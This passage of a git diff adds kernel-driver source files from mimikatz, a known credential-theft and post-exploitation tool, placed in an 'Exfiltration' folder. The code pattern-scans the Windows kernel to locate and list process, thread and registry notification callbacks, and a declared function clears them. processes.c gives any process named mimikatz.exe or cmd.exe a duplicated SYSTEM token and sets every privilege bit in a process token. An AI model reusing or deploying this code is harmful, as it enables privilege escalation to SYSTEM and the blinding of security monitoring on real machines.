OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; + EX_PUSH_LOCK Lock; + PVOID DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; // a partir de là, différent en NT5, mais pas utilisé... + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64) +{ + SHORT Length; + UCHAR ObjectTypeFlags; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_CALLBACK_ENTRY { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + ULONG Active; + /*OB_HANDLE*/ PVOID Handle; + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; +} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; + +typedef enum _KIWI_NOTIF_OBJECT_ACTION +{ + ListNotif, + ClearNotif +} KIWI_NOTIF_OBJECT_ACTION; + +POBJECT_DIRECTORY * ObpTypeDirectoryObject; + +NTSTATUS getObpTypeDirectoryObject(); +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c new file mode 100644 index 0000000..87cc3ed --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.c @@ -0,0 +1,137 @@ +#include "notify_process.h" + +ULONG * PspCreateProcessNotifyRoutineCount = NULL; +ULONG * PspCreateProcessNotifyRoutineExCount = NULL; +PVOID * PspCreateProcessNotifyRoutine = NULL; + +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + ULONG bonusCount; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateProcessNotifyRoutine(); + if(NT_SUCCESS(status)) + { + bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); + for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateProcessNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; + LONG OFFS_WNT5_Process = -4; + UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; + UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; + + PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = - 0x18; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; + LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; + UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; + UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); + + PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = - 0x20; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Process; + taille = sizeof(PTRN_WNT5_Process); + offsetTo = OFFS_WNT5_Process; + offsetToCount = OFFS_WNT5_Count; + } + else + { + pattern = PTRN_WNO8_Process; + taille = sizeof(PTRN_WNO8_Process); + offsetTo = OFFS_WNO8_Process; + offsetToCountEx = OFFS_WNO8_CountEx; + offsetToCount = OFFS_WNO8_Count; + } + refDebut = REF_D_WNO8_Process; + refFin = REF_F_WNO8_Process; + } + else + { + pattern = PTRN_WIN8_Process; + taille = sizeof(PTRN_WIN8_Process); + offsetTo = OFFS_WIN8_Process; + refDebut = REF_D_WIN8_Process; + refFin = REF_F_WIN8_Process; + offsetToCountEx = OFFS_WIN8_CountEx; + offsetToCount = OFFS_WIN8_Count; + } + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateProcessNotifyRoutine = (PVOID) (pointeur); + PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + if(INDEX_OS >= INDEX_VISTA) + PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h new file mode 100644 index 0000000..27cbe3a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.h @@ -0,0 +1,12 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateProcessNotifyRoutine 64 +#define MAX_NT5_PspCreateProcessNotifyRoutine 8 + +ULONG * PspCreateProcessNotifyRoutineCount; +ULONG * PspCreateProcessNotifyRoutineExCount; +PVOID * PspCreateProcessNotifyRoutine; + +NTSTATUS getPspCreateProcessNotifyRoutine(); +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c new file mode 100644 index 0000000..843cfba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.c @@ -0,0 +1,137 @@ +#include "notify_reg.h" + +ULONG * CmpCallBackCount = NULL; +PVOID * CmpCallBackVector = NULL; +PLIST_ENTRY CallbackListHead = NULL; + +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + PLIST_ENTRY maListe; + PKIWI_REGISTRY6_CALLBACK monCallBack6; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); + if(NT_SUCCESS(status)) + { + status = getNotifyRegistryRoutine(); + if(NT_SUCCESS(status)) + { + if(INDEX_OS < INDEX_VISTA) + { + for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) + ); + } + } + } + } + } + else + { + for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) + { + monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); + } + } + } + } + } + } + return status; +} + +NTSTATUS getNotifyRegistryRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; + UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; + + UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; + LONG OFFS_WN60_Head = -9; + UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; + LONG OFFS_WALL_Head = -9; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; + UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; + + UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; + LONG OFFS_WN60_Head = 12; + UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; + LONG OFFS_WN61_Head = -4; + UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; + LONG OFFS_WIN8_Head = -4; + #endif + PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; + PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + + if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); + if(NT_SUCCESS(retour)) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); + } + } + else + { + if(INDEX_OS < INDEX_7) + { + pattern = PTRN_WN60_Head; + taille = sizeof(PTRN_WN60_Head); + offsetTo= OFFS_WN60_Head; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WALL_Head; + taille = sizeof(PTRN_WALL_Head); + offsetTo= OFFS_WALL_Head; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WN61_Head; + taille = sizeof(PTRN_WN61_Head); + offsetTo= OFFS_WN61_Head; + } + else + { + pattern = PTRN_WIN8_Head; + taille = sizeof(PTRN_WIN8_Head); + offsetTo= OFFS_WIN8_Head; + } + #endif + } + retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h new file mode 100644 index 0000000..ce86568 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.h @@ -0,0 +1,17 @@ +#pragma once +#include "notify.h" + +ULONG * CmpCallBackCount; +PVOID * CmpCallBackVector; +PLIST_ENTRY CallbackListHead; + +typedef struct _KIWI_REGISTRY6_CALLBACK +{ + LARGE_INTEGER cookie; + PVOID context; + PVOID callback; + UNICODE_STRING altitude; +} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; + +NTSTATUS getNotifyRegistryRoutine(); +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c new file mode 100644 index 0000000..41436b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.c @@ -0,0 +1,111 @@ +#include "notify_thread.h" + +ULONG * PspCreateThreadNotifyRoutineCount = NULL; +PVOID * PspCreateThreadNotifyRoutine = NULL; + +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateThreadNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateThreadNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); + UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); + #elif defined _M_IX86 + UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; + LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); + UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; + LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); + #endif + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCount = 0; + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + #ifdef _M_X64 + pattern = PTRN_WNT5_Thread; + taille = sizeof(PTRN_WNT5_Thread); + offsetTo = OFFS_WNT5_Thread; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Thread; + taille = sizeof(PTRN_WNT6_Thread); + offsetTo = OFFS_WNT6_Thread; + #endif + offsetToCount = OFFS_WNT6_Count; + } + + #if defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Thread; + taille = sizeof(PTRN_WNO8_Thread); + offsetTo = OFFS_WNO8_Thread; + } + else + { + pattern = PTRN_WIN8_Thread; + taille = sizeof(PTRN_WIN8_Thread); + offsetTo = OFFS_WIN8_Thread; + } + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateThreadNotifyRoutine = (PVOID) (pointeur); + PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h new file mode 100644 index 0000000..22499b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.h @@ -0,0 +1,11 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateThreadNotifyRoutine 64 +#define MAX_NT5_PspCreateThreadNotifyRoutine 8 + +ULONG * PspCreateThreadNotifyRoutineCount; +PVOID * PspCreateThreadNotifyRoutine; + +NTSTATUS getPspCreateThreadNotifyRoutine(); +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c new file mode 100644 index 0000000..55e13ab --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.c @@ -0,0 +1,146 @@ +#include "processes.h" + +const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = +{ + /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, +/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ +/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ +/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} +#endif +}; + +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); +} + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); +} + +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_NOT_SUPPORTED; + + if(INDEX_OS >= INDEX_VISTA) + status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); + + return status; +} + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) +{ + NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; + PEPROCESS monProcess = NULL; + PCHAR processName = NULL; + HANDLE processId = NULL; + + PACCESS_TOKEN monTokenAcess = NULL; + PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; + + HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; + PROCESS_ACCESS_TOKEN ProcessTokenInformation; + PULONG pFlags2 = NULL; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + + for( + monProcess = PsInitialSystemProcess; + NT_SUCCESS(status) && + (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; + monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) + ) + { + processName = PsGetProcessImageFileName(monProcess); + processId = PsGetProcessId(monProcess); + + if(action == ExchangeToken || action == FullPrivilegeNT6) + { + if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId + ); + if(action == ExchangeToken) + { + status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); + if(NT_SUCCESS(status2)) + { + status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); + if(NT_SUCCESS(status2)) + { + ProcessTokenInformation.Token = newSysTokenHandle; + ProcessTokenInformation.Thread = 0; + + if(INDEX_OS >= INDEX_VISTA) + { + pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); + *pFlags2 &= ~TOKEN_FROZEN_MASK; + } + + status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); + if(NT_SUCCESS(status2)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n"); + } + + if(INDEX_OS >= INDEX_VISTA) + { + *pFlags2 |= TOKEN_FROZEN_MASK; + } + + ZwClose(newSysTokenHandle); + } + ZwClose(sysProcessTokenHandle); + } + ZwClose(processHandle); + ZwClose(sysProcessHandle); + } + } + } + else + { + if(monTokenAcess = PsReferencePrimaryToken(monProcess)) + { + mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); + + mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; + mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; + mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; + mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; + mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; + + PsDereferencePrimaryToken(monTokenAcess); + } + } + } + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); + } + } + return status; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 0000000..ae99825 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS 